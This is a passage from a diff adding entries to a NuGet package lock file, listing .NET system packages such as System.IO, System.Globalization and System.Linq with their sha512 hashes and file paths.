"system.diagnostics.tools.nuspec" + ] + }, + "System.Diagnostics.Tracing/4.3.0": { + "sha512": "rswfv0f/Cqkh78rA5S8eN8Neocz234+emGCtTF3lxPY96F+mmmUen6tbn0glN6PMvlKQb9bPAY5e9u7fgPTkKw==", + "type": "package", + "path": "system.diagnostics.tracing/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/net462/System.Diagnostics.Tracing.dll", + "lib/portable-net45+win8+wpa81/_._", + "lib/win8/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/net462/System.Diagnostics.Tracing.dll", + "ref/netcore50/System.Diagnostics.Tracing.dll", + "ref/netcore50/System.Diagnostics.Tracing.xml", + "ref/netcore50/de/System.Diagnostics.Tracing.xml", + "ref/netcore50/es/System.Diagnostics.Tracing.xml", + "ref/netcore50/fr/System.Diagnostics.Tracing.xml", + "ref/netcore50/it/System.Diagnostics.Tracing.xml", + "ref/netcore50/ja/System.Diagnostics.Tracing.xml", + "ref/netcore50/ko/System.Diagnostics.Tracing.xml", + "ref/netcore50/ru/System.Diagnostics.Tracing.xml", + "ref/netcore50/zh-hans/System.Diagnostics.Tracing.xml", + "ref/netcore50/zh-hant/System.Diagnostics.Tracing.xml", + "ref/netstandard1.1/System.Diagnostics.Tracing.dll", + "ref/netstandard1.1/System.Diagnostics.Tracing.xml", + "ref/netstandard1.1/de/System.Diagnostics.Tracing.xml", + "ref/netstandard1.1/es/System.Diagnostics.Tracing.xml", + "ref/netstandard1.1/fr/System.Diagnostics.Tracing.xml", + "ref/netstandard1.1/it/System.Diagnostics.Tracing.xml", + "ref/netstandard1.1/ja/System.Diagnostics.Tracing.xml", + "ref/netstandard1.1/ko/System.Diagnostics.Tracing.xml", + "ref/netstandard1.1/ru/System.Diagnostics.Tracing.xml", + "ref/netstandard1.1/zh-hans/System.Diagnostics.Tracing.xml", + "ref/netstandard1.1/zh-hant/System.Diagnostics.Tracing.xml", + "ref/netstandard1.2/System.Diagnostics.Tracing.dll", + "ref/netstandard1.2/System.Diagnostics.Tracing.xml", + "ref/netstandard1.2/de/System.Diagnostics.Tracing.xml", + "ref/netstandard1.2/es/System.Diagnostics.Tracing.xml", + "ref/netstandard1.2/fr/System.Diagnostics.Tracing.xml", + "ref/netstandard1.2/it/System.Diagnostics.Tracing.xml", + "ref/netstandard1.2/ja/System.Diagnostics.Tracing.xml", + "ref/netstandard1.2/ko/System.Diagnostics.Tracing.xml", + "ref/netstandard1.2/ru/System.Diagnostics.Tracing.xml", + "ref/netstandard1.2/zh-hans/System.Diagnostics.Tracing.xml", + "ref/netstandard1.2/zh-hant/System.Diagnostics.Tracing.xml", + "ref/netstandard1.3/System.Diagnostics.Tracing.dll", + "ref/netstandard1.3/System.Diagnostics.Tracing.xml", + "ref/netstandard1.3/de/System.Diagnostics.Tracing.xml", + "ref/netstandard1.3/es/System.Diagnostics.Tracing.xml", + "ref/netstandard1.3/fr/System.Diagnostics.Tracing.xml", + "ref/netstandard1.3/it/System.Diagnostics.Tracing.xml", + "ref/netstandard1.3/ja/System.Diagnostics.Tracing.xml", + "ref/netstandard1.3/ko/System.Diagnostics.Tracing.xml", + "ref/netstandard1.3/ru/System.Diagnostics.Tracing.xml", + "ref/netstandard1.3/zh-hans/System.Diagnostics.Tracing.xml", + "ref/netstandard1.3/zh-hant/System.Diagnostics.Tracing.xml", + "ref/netstandard1.5/System.Diagnostics.Tracing.dll", + "ref/netstandard1.5/System.Diagnostics.Tracing.xml", + "ref/netstandard1.5/de/System.Diagnostics.Tracing.xml", + "ref/netstandard1.5/es/System.Diagnostics.Tracing.xml", + "ref/netstandard1.5/fr/System.Diagnostics.Tracing.xml", + "ref/netstandard1.5/it/System.Diagnostics.Tracing.xml", + "ref/netstandard1.5/ja/System.Diagnostics.Tracing.xml", + "ref/netstandard1.5/ko/System.Diagnostics.Tracing.xml", + "ref/netstandard1.5/ru/System.Diagnostics.Tracing.xml", + "ref/netstandard1.5/zh-hans/System.Diagnostics.Tracing.xml", + "ref/netstandard1.5/zh-hant/System.Diagnostics.Tracing.xml", + "ref/portable-net45+win8+wpa81/_._", + "ref/win8/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.diagnostics.tracing.4.3.0.nupkg.sha512", + "system.diagnostics.tracing.nuspec" + ] + }, + "System.Drawing.Common/9.0.0": { + "sha512": "uoozjI3+dlgKh2onFJcz8aNLh6TRCPlLSh8Dbuljc8CdvqXrxHOVysJlrHvlsOCqceqGBR1wrMPxlnzzhynktw==", + "type": "package", + "path": "system.drawing.common/9.0.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "Icon.png", + "LICENSE.TXT", + "PACKAGE.md", + "THIRD-PARTY-NOTICES.TXT", + "buildTransitive/net461/System.Drawing.Common.targets", + "buildTransitive/net462/_._", + "buildTransitive/net8.0/_._", + "buildTransitive/netcoreapp2.0/System.Drawing.Common.targets", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net462/System.Drawing.Common.dll", + "lib/net462/System.Drawing.Common.pdb", + "lib/net462/System.Drawing.Common.xml", + "lib/net8.0/System.Drawing.Common.dll", + "lib/net8.0/System.Drawing.Common.pdb", + "lib/net8.0/System.Drawing.Common.xml", + "lib/net8.0/System.Private.Windows.Core.dll", + "lib/net8.0/System.Private.Windows.Core.xml", + "lib/net9.0/System.Drawing.Common.dll", + "lib/net9.0/System.Drawing.Common.pdb", + "lib/net9.0/System.Drawing.Common.xml", + "lib/net9.0/System.Private.Windows.Core.dll", + "lib/net9.0/System.Private.Windows.Core.xml", + "lib/netstandard2.0/System.Drawing.Common.dll", + "lib/netstandard2.0/System.Drawing.Common.pdb", + "lib/netstandard2.0/System.Drawing.Common.xml", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "system.drawing.common.9.0.0.nupkg.sha512", + "system.drawing.common.nuspec", + "useSharedDesignerContext.txt" + ] + }, + "System.Globalization/4.3.0": { + "sha512": "kYdVd2f2PAdFGblzFswE4hkNANJBKRmsfa2X5LG2AcWE1c7/4t0pYae1L8vfZ5xvE2nK/R9JprtToA61OSHWIg==", + "type": "package", + "path": "system.globalization/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Globalization.dll", + "ref/netcore50/System.Globalization.xml", + "ref/netcore50/de/System.Globalization.xml", + "ref/netcore50/es/System.Globalization.xml", + "ref/netcore50/fr/System.Globalization.xml", + "ref/netcore50/it/System.Globalization.xml", + "ref/netcore50/ja/System.Globalization.xml", + "ref/netcore50/ko/System.Globalization.xml", + "ref/netcore50/ru/System.Globalization.xml", + "ref/netcore50/zh-hans/System.Globalization.xml", + "ref/netcore50/zh-hant/System.Globalization.xml", + "ref/netstandard1.0/System.Globalization.dll", + "ref/netstandard1.0/System.Globalization.xml", + "ref/netstandard1.0/de/System.Globalization.xml", + "ref/netstandard1.0/es/System.Globalization.xml", + "ref/netstandard1.0/fr/System.Globalization.xml", + "ref/netstandard1.0/it/System.Globalization.xml", + "ref/netstandard1.0/ja/System.Globalization.xml", + "ref/netstandard1.0/ko/System.Globalization.xml", + "ref/netstandard1.0/ru/System.Globalization.xml", + "ref/netstandard1.0/zh-hans/System.Globalization.xml", + "ref/netstandard1.0/zh-hant/System.Globalization.xml", + "ref/netstandard1.3/System.Globalization.dll", + "ref/netstandard1.3/System.Globalization.xml", + "ref/netstandard1.3/de/System.Globalization.xml", + "ref/netstandard1.3/es/System.Globalization.xml", + "ref/netstandard1.3/fr/System.Globalization.xml", + "ref/netstandard1.3/it/System.Globalization.xml", + "ref/netstandard1.3/ja/System.Globalization.xml", + "ref/netstandard1.3/ko/System.Globalization.xml", + "ref/netstandard1.3/ru/System.Globalization.xml", + "ref/netstandard1.3/zh-hans/System.Globalization.xml", + "ref/netstandard1.3/zh-hant/System.Globalization.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.globalization.4.3.0.nupkg.sha512", + "system.globalization.nuspec" + ] + }, + "System.Globalization.Calendars/4.3.0": { + "sha512": "GUlBtdOWT4LTV3I+9/PJW+56AnnChTaOqqTLFtdmype/L500M2LIyXgmtd9X2P2VOkmJd5c67H5SaC2QcL1bFA==", + "type": "package", + "path": "system.globalization.calendars/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.Globalization.Calendars.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.Globalization.Calendars.dll", + "ref/netstandard1.3/System.Globalization.Calendars.dll", + "ref/netstandard1.3/System.Globalization.Calendars.xml", + "ref/netstandard1.3/de/System.Globalization.Calendars.xml", + "ref/netstandard1.3/es/System.Globalization.Calendars.xml", + "ref/netstandard1.3/fr/System.Globalization.Calendars.xml", + "ref/netstandard1.3/it/System.Globalization.Calendars.xml", + "ref/netstandard1.3/ja/System.Globalization.Calendars.xml", + "ref/netstandard1.3/ko/System.Globalization.Calendars.xml", + "ref/netstandard1.3/ru/System.Globalization.Calendars.xml", + "ref/netstandard1.3/zh-hans/System.Globalization.Calendars.xml", + "ref/netstandard1.3/zh-hant/System.Globalization.Calendars.xml", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.globalization.calendars.4.3.0.nupkg.sha512", + "system.globalization.calendars.nuspec" + ] + }, + "System.Globalization.Extensions/4.3.0": { + "sha512": "FhKmdR6MPG+pxow6wGtNAWdZh7noIOpdD5TwQ3CprzgIE1bBBoim0vbR1+AWsWjQmU7zXHgQo4TWSP6lCeiWcQ==", + "type": "package", + "path": "system.globalization.extensions/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.Globalization.Extensions.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.Globalization.Extensions.dll", + "ref/netstandard1.3/System.Globalization.Extensions.dll", + "ref/netstandard1.3/System.Globalization.Extensions.xml", + "ref/netstandard1.3/de/System.Globalization.Extensions.xml", + "ref/netstandard1.3/es/System.Globalization.Extensions.xml", + "ref/netstandard1.3/fr/System.Globalization.Extensions.xml", + "ref/netstandard1.3/it/System.Globalization.Extensions.xml", + "ref/netstandard1.3/ja/System.Globalization.Extensions.xml", + "ref/netstandard1.3/ko/System.Globalization.Extensions.xml", + "ref/netstandard1.3/ru/System.Globalization.Extensions.xml", + "ref/netstandard1.3/zh-hans/System.Globalization.Extensions.xml", + "ref/netstandard1.3/zh-hant/System.Globalization.Extensions.xml", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "runtimes/unix/lib/netstandard1.3/System.Globalization.Extensions.dll", + "runtimes/win/lib/net46/System.Globalization.Extensions.dll", + "runtimes/win/lib/netstandard1.3/System.Globalization.Extensions.dll", + "system.globalization.extensions.4.3.0.nupkg.sha512", + "system.globalization.extensions.nuspec" + ] + }, + "System.IO/4.3.0": { + "sha512": "3qjaHvxQPDpSOYICjUoTsmoq5u6QJAFRUITgeT/4gqkF1bajbSmb1kwSxEA8AHlofqgcKJcM8udgieRNhaJ5Cg==", + "type": "package", + "path": "system.io/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/net462/System.IO.dll", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/net462/System.IO.dll", + "ref/netcore50/System.IO.dll", + "ref/netcore50/System.IO.xml", + "ref/netcore50/de/System.IO.xml", + "ref/netcore50/es/System.IO.xml", + "ref/netcore50/fr/System.IO.xml", + "ref/netcore50/it/System.IO.xml", + "ref/netcore50/ja/System.IO.xml", + "ref/netcore50/ko/System.IO.xml", + "ref/netcore50/ru/System.IO.xml", + "ref/netcore50/zh-hans/System.IO.xml", + "ref/netcore50/zh-hant/System.IO.xml", + "ref/netstandard1.0/System.IO.dll", + "ref/netstandard1.0/System.IO.xml", + "ref/netstandard1.0/de/System.IO.xml", + "ref/netstandard1.0/es/System.IO.xml", + "ref/netstandard1.0/fr/System.IO.xml", + "ref/netstandard1.0/it/System.IO.xml", + "ref/netstandard1.0/ja/System.IO.xml", + "ref/netstandard1.0/ko/System.IO.xml", + "ref/netstandard1.0/ru/System.IO.xml", + "ref/netstandard1.0/zh-hans/System.IO.xml", + "ref/netstandard1.0/zh-hant/System.IO.xml", + "ref/netstandard1.3/System.IO.dll", + "ref/netstandard1.3/System.IO.xml", + "ref/netstandard1.3/de/System.IO.xml", + "ref/netstandard1.3/es/System.IO.xml", + "ref/netstandard1.3/fr/System.IO.xml", + "ref/netstandard1.3/it/System.IO.xml", + "ref/netstandard1.3/ja/System.IO.xml", + "ref/netstandard1.3/ko/System.IO.xml", + "ref/netstandard1.3/ru/System.IO.xml", + "ref/netstandard1.3/zh-hans/System.IO.xml", + "ref/netstandard1.3/zh-hant/System.IO.xml", + "ref/netstandard1.5/System.IO.dll", + "ref/netstandard1.5/System.IO.xml", + "ref/netstandard1.5/de/System.IO.xml", + "ref/netstandard1.5/es/System.IO.xml", + "ref/netstandard1.5/fr/System.IO.xml", + "ref/netstandard1.5/it/System.IO.xml", + "ref/netstandard1.5/ja/System.IO.xml", + "ref/netstandard1.5/ko/System.IO.xml", + "ref/netstandard1.5/ru/System.IO.xml", + "ref/netstandard1.5/zh-hans/System.IO.xml", + "ref/netstandard1.5/zh-hant/System.IO.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.io.4.3.0.nupkg.sha512", + "system.io.nuspec" + ] + }, + "System.IO.Compression/4.3.0": { + "sha512": "YHndyoiV90iu4iKG115ibkhrG+S3jBm8Ap9OwoUAzO5oPDAWcr0SFwQFm0HjM8WkEZWo0zvLTyLmbvTkW1bXgg==", + "type": "package", + "path": "system.io.compression/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/net46/System.IO.Compression.dll", + "lib/portable-net45+win8+wpa81/_._", + "lib/win8/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/net46/System.IO.Compression.dll", + "ref/netcore50/System.IO.Compression.dll", + "ref/netcore50/System.IO.Compression.xml", + "ref/netcore50/de/System.IO.Compression.xml", + "ref/netcore50/es/System.IO.Compression.xml", + "ref/netcore50/fr/System.IO.Compression.xml", + "ref/netcore50/it/System.IO.Compression.xml", + "ref/netcore50/ja/System.IO.Compression.xml", + "ref/netcore50/ko/System.IO.Compression.xml", + "ref/netcore50/ru/System.IO.Compression.xml", + "ref/netcore50/zh-hans/System.IO.Compression.xml", + "ref/netcore50/zh-hant/System.IO.Compression.xml", + "ref/netstandard1.1/System.IO.Compression.dll", + "ref/netstandard1.1/System.IO.Compression.xml", + "ref/netstandard1.1/de/System.IO.Compression.xml", + "ref/netstandard1.1/es/System.IO.Compression.xml", + "ref/netstandard1.1/fr/System.IO.Compression.xml", + "ref/netstandard1.1/it/System.IO.Compression.xml", + "ref/netstandard1.1/ja/System.IO.Compression.xml", + "ref/netstandard1.1/ko/System.IO.Compression.xml", + "ref/netstandard1.1/ru/System.IO.Compression.xml", + "ref/netstandard1.1/zh-hans/System.IO.Compression.xml", + "ref/netstandard1.1/zh-hant/System.IO.Compression.xml", + "ref/netstandard1.3/System.IO.Compression.dll", + "ref/netstandard1.3/System.IO.Compression.xml", + "ref/netstandard1.3/de/System.IO.Compression.xml", + "ref/netstandard1.3/es/System.IO.Compression.xml", + "ref/netstandard1.3/fr/System.IO.Compression.xml", + "ref/netstandard1.3/it/System.IO.Compression.xml", + "ref/netstandard1.3/ja/System.IO.Compression.xml", + "ref/netstandard1.3/ko/System.IO.Compression.xml", + "ref/netstandard1.3/ru/System.IO.Compression.xml", + "ref/netstandard1.3/zh-hans/System.IO.Compression.xml", + "ref/netstandard1.3/zh-hant/System.IO.Compression.xml", + "ref/portable-net45+win8+wpa81/_._", + "ref/win8/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "runtimes/unix/lib/netstandard1.3/System.IO.Compression.dll", + "runtimes/win/lib/net46/System.IO.Compression.dll", + "runtimes/win/lib/netstandard1.3/System.IO.Compression.dll", + "system.io.compression.4.3.0.nupkg.sha512", + "system.io.compression.nuspec" + ] + }, + "System.IO.Compression.ZipFile/4.3.0": { + "sha512": "G4HwjEsgIwy3JFBduZ9quBkAu+eUwjIdJleuNSgmUojbH6O3mlvEIme+GHx/cLlTAPcrnnL7GqvB9pTlWRfhOg==", + "type": "package", + "path": "system.io.compression.zipfile/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.IO.Compression.ZipFile.dll", + "lib/netstandard1.3/System.IO.Compression.ZipFile.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.IO.Compression.ZipFile.dll", + "ref/netstandard1.3/System.IO.Compression.ZipFile.dll", + "ref/netstandard1.3/System.IO.Compression.ZipFile.xml", + "ref/netstandard1.3/de/System.IO.Compression.ZipFile.xml", + "ref/netstandard1.3/es/System.IO.Compression.ZipFile.xml", + "ref/netstandard1.3/fr/System.IO.Compression.ZipFile.xml", + "ref/netstandard1.3/it/System.IO.Compression.ZipFile.xml", + "ref/netstandard1.3/ja/System.IO.Compression.ZipFile.xml", + "ref/netstandard1.3/ko/System.IO.Compression.ZipFile.xml", + "ref/netstandard1.3/ru/System.IO.Compression.ZipFile.xml", + "ref/netstandard1.3/zh-hans/System.IO.Compression.ZipFile.xml", + "ref/netstandard1.3/zh-hant/System.IO.Compression.ZipFile.xml", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.io.compression.zipfile.4.3.0.nupkg.sha512", + "system.io.compression.zipfile.nuspec" + ] + }, + "System.IO.FileSystem/4.3.0": { + "sha512": "3wEMARTnuio+ulnvi+hkRNROYwa1kylvYahhcLk4HSoVdl+xxTFVeVlYOfLwrDPImGls0mDqbMhrza8qnWPTdA==", + "type": "package", + "path": "system.io.filesystem/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.IO.FileSystem.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.IO.FileSystem.dll", + "ref/netstandard1.3/System.IO.FileSystem.dll", + "ref/netstandard1.3/System.IO.FileSystem.xml", + "ref/netstandard1.3/de/System.IO.FileSystem.xml", + "ref/netstandard1.3/es/System.IO.FileSystem.xml", + "ref/netstandard1.3/fr/System.IO.FileSystem.xml", + "ref/netstandard1.3/it/System.IO.FileSystem.xml", + "ref/netstandard1.3/ja/System.IO.FileSystem.xml", + "ref/netstandard1.3/ko/System.IO.FileSystem.xml", + "ref/netstandard1.3/ru/System.IO.FileSystem.xml", + "ref/netstandard1.3/zh-hans/System.IO.FileSystem.xml", + "ref/netstandard1.3/zh-hant/System.IO.FileSystem.xml", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.io.filesystem.4.3.0.nupkg.sha512", + "system.io.filesystem.nuspec" + ] + }, + "System.IO.FileSystem.Primitives/4.3.0": { + "sha512": "6QOb2XFLch7bEc4lIcJH49nJN2HV+OC3fHDgsLVsBVBk3Y4hFAnOBGzJ2lUu7CyDDFo9IBWkSsnbkT6IBwwiMw==", + "type": "package", + "path": "system.io.filesystem.primitives/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.IO.FileSystem.Primitives.dll", + "lib/netstandard1.3/System.IO.FileSystem.Primitives.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.IO.FileSystem.Primitives.dll", + "ref/netstandard1.3/System.IO.FileSystem.Primitives.dll", + "ref/netstandard1.3/System.IO.FileSystem.Primitives.xml", + "ref/netstandard1.3/de/System.IO.FileSystem.Primitives.xml", + "ref/netstandard1.3/es/System.IO.FileSystem.Primitives.xml", + "ref/netstandard1.3/fr/System.IO.FileSystem.Primitives.xml", + "ref/netstandard1.3/it/System.IO.FileSystem.Primitives.xml", + "ref/netstandard1.3/ja/System.IO.FileSystem.Primitives.xml", + "ref/netstandard1.3/ko/System.IO.FileSystem.Primitives.xml", + "ref/netstandard1.3/ru/System.IO.FileSystem.Primitives.xml", + "ref/netstandard1.3/zh-hans/System.IO.FileSystem.Primitives.xml", + "ref/netstandard1.3/zh-hant/System.IO.FileSystem.Primitives.xml", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.io.filesystem.primitives.4.3.0.nupkg.sha512", + "system.io.filesystem.primitives.nuspec" + ] + }, + "System.Linq/4.3.0": { + "sha512": "5DbqIUpsDp0dFftytzuMmc0oeMdQwjcP/EWxsksIz/w1TcFRkZ3yKKz0PqiYFMmEwPSWw+qNVqD7PJ889JzHbw==", + "type": "package", + "path": "system.linq/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/net463/System.Linq.dll", + "lib/netcore50/System.Linq.dll", + "lib/netstandard1.6/System.Linq.dll", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/net463/System.Linq.dll", + "ref/netcore50/System.Linq.dll", + "ref/netcore50/System.Linq.xml", + "ref/netcore50/de/System.Linq.xml", + "ref/netcore50/es/System.Linq.xml", + "ref/netcore50/fr/System.Linq.xml", + "ref/netcore50/it/System.Linq.xml", + "ref/netcore50/ja/System.Linq.xml", + "ref/netcore50/ko/System.Linq.xml", + "ref/netcore50/ru/System.Linq.xml", + "ref/netcore50/zh-hans/System.Linq.xml", + "ref/netcore50/zh-hant/System.Linq.xml", + "ref/netstandard1.0/System.Linq.dll", + "ref/netstandard1.0/System.Linq.xml", + "ref/netstandard1.0/de/System.Linq.xml", + "ref/netstandard1.0/es/System.Linq.xml", + "ref/netstandard1.0/fr/System.Linq.xml", + "ref/netstandard1.0/it/System.Linq.xml", + "ref/netstandard1.0/ja/System.Linq.xml", + "ref/netstandard1.0/ko/System.Linq.xml", + "ref/netstandard1.0/ru/System.Linq.xml", + "ref/netstandard1.0/zh-hans/System.Linq.xml", + "ref/netstandard1.0/zh-hant/System.Linq.xml", + "ref/netstandard1.6/System.Linq.dll", + "ref/netstandard1.6/System.Linq.xml", + "ref/netstandard1.6/de/System.Linq.xml", + "ref/netstandard1.6/es/System.Linq.xml", + "ref/netstandard1.6/fr/System.Linq.xml", + "ref/netstandard1.6/it/System.Linq.xml", + "ref/netstandard1.6/ja/System.Linq.xml", + "ref/netstandard1.6/ko/System.Linq.xml", + "ref/netstandard1.6/ru/System.Linq.xml", + "ref/netstandard1.6/zh-hans/System.Linq.xml", + "ref/netstandard1.6/zh-hant/System.Linq.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.linq.4.3.0.nupkg.sha512", + "system.linq.nuspec" + ] + }, + "System.Linq.Expressions/4.3.0": { + "sha512": "PGKkrd2khG4CnlyJwxwwaWWiSiWFNBGlgXvJpeO0xCXrZ89ODrQ6tjEWS/kOqZ8GwEOUATtKtzp1eRgmYNfclg==", + "type": "package", + "path": "system.linq.expressions/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/net463/System.Linq.Expressions.dll", + "lib/netcore50/System.Linq.Expressions.dll", + "lib/netstandard1.6/System.Linq.Expressions.dll", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/net463/System.Linq.Expressions.dll", + "ref/netcore50/System.Linq.Expressions.dll", + "ref/netcore50/System.Linq.Expressions.xml", + "ref/netcore50/de/System.Linq.Expressions.xml", + "ref/netcore50/es/System.Linq.Expressions.xml", + "ref/netcore50/fr/System.Linq.Expressions.xml", + "ref/netcore50/it/System.Linq.Expressions.xml", + "ref/netcore50/ja/System.Linq.Expressions.xml", + "ref/netcore50/ko/System.Linq.Expressions.xml", + "ref/netcore50/ru/System.Linq.Expressions.xml", + "ref/netcore50/zh-hans/System.Linq.Expressions.xml", + "ref/netcore50/zh-hant/System.Linq.Expressions.xml", + "ref/netstandard1.0/System.Linq.Expressions.dll", + "ref/netstandard1.0/System.Linq.Expressions.xml", + "ref/netstandard1.0/de/System.Linq.Expressions.xml", + "ref/netstandard1.0/es/System.Linq.Expressions.xml", + "ref/netstandard1.0/fr/System.Linq.Expressions.xml", + "ref/netstandard1.0/it/System.Linq.Expressions.xml", + "ref/netstandard1.0/ja/System.Linq.Expressions.xml", + "ref/netstandard1.0/ko/System.Linq.Expressions.xml", + "ref/netstandard1.0/ru/System.Linq.Expressions.xml", + "ref/netstandard1.0/zh-hans/System.Linq.Expressions.xml", + "ref/netstandard1.0/zh-hant/System.Linq.Expressions.xml", + "ref/netstandard1.3/System.Linq.Expressions.dll", + "ref/netstandard1.3/System.Linq.Expressions.xml", + "ref/netstandard1.3/de/System.Linq.Expressions.xml", + "ref/netstandard1.3/es/System.Linq.Expressions.xml", + "ref/netstandard1.3/fr/System.Linq.Expressions.xml", + "ref/netstandard1.3/it/System.Linq.Expressions.xml", + "ref/netstandard1.3/ja/System.Linq.Expressions.xml", + "ref/netstandard1.3/ko/System.Linq.Expressions.xml", + 